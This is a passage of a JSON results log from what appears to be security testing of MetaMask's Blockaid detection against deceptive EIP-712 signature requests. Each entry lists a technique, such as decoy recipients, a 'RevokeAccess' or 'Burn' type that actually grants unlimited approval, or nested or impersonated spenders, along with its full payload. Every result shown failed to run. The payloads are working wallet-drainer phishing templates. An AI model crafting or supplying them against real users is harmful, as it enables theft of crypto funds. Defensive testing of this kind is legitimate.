Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:16:08.214Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:16:17.781Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:16:27.333Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:16:36.897Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:16:46.458Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:16:56.017Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:17:05.592Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN60-EIP3009-022", "timestamp": "2026-01-31T19:17:15.152Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x81215bee904481bb990ae361a47dc41caf974236456158036238d6fdf38d4c81\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN60-EIP3009-054", "timestamp": "2026-01-31T19:17:24.694Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x19971f2f6a638ecf496015bb7d77285c0f8259a459d4d76232f91fb48c6497ee\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:17:34.263Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:17:43.830Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:17:53.399Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:18:02.964Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:18:12.520Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:18:22.085Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:18:31.641Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:18:41.211Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:18:50.776Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:19:00.333Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 